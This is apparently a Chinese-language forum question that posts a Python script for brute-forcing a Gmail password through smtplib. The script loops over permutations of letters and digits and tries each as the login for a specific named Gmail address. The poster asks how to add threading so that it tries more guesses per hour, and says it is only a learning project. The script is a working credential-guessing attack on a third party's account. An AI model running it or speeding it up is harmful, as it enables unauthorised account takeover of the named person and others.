我花了很多时间为 gmail 制作这个暴力破解程序:
import smtplib
from itertools import permutations
import string
import time
import os
from datetime import datetime
allC=["a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z","0","1","2","3","4","5","6","7","8","9"]
num=1
allP=len(allC)**num
sumt=0
procent=0
while True:
for i in permutations(allC, num):
try :
i="".join(i)
server = smtplib.SMTP('smtp.gmail.com',587)
server.ehlo()
server.starttls()
server.ehlo()
server.login('raslav.milutinovic@gmail.com',i)
print str(datetime.now())
print i
break
server.close()
except Exception,e:
if 'Errno 11001' in e:
input()
pass
sumt=sumt+1.00001
procent=sumt/allP*100
print "Level :",num
print "Procent :",int(procent)
num=num+1
procent=0
sumt=0
allP=len(allC)**num
注意:缩进可能不正确但非常慢=每小时尝试 5000 次
我如何使用线程来测试更多而不是一个等时间?而且我也不打算用它来作恶……只是一个简单的学习项目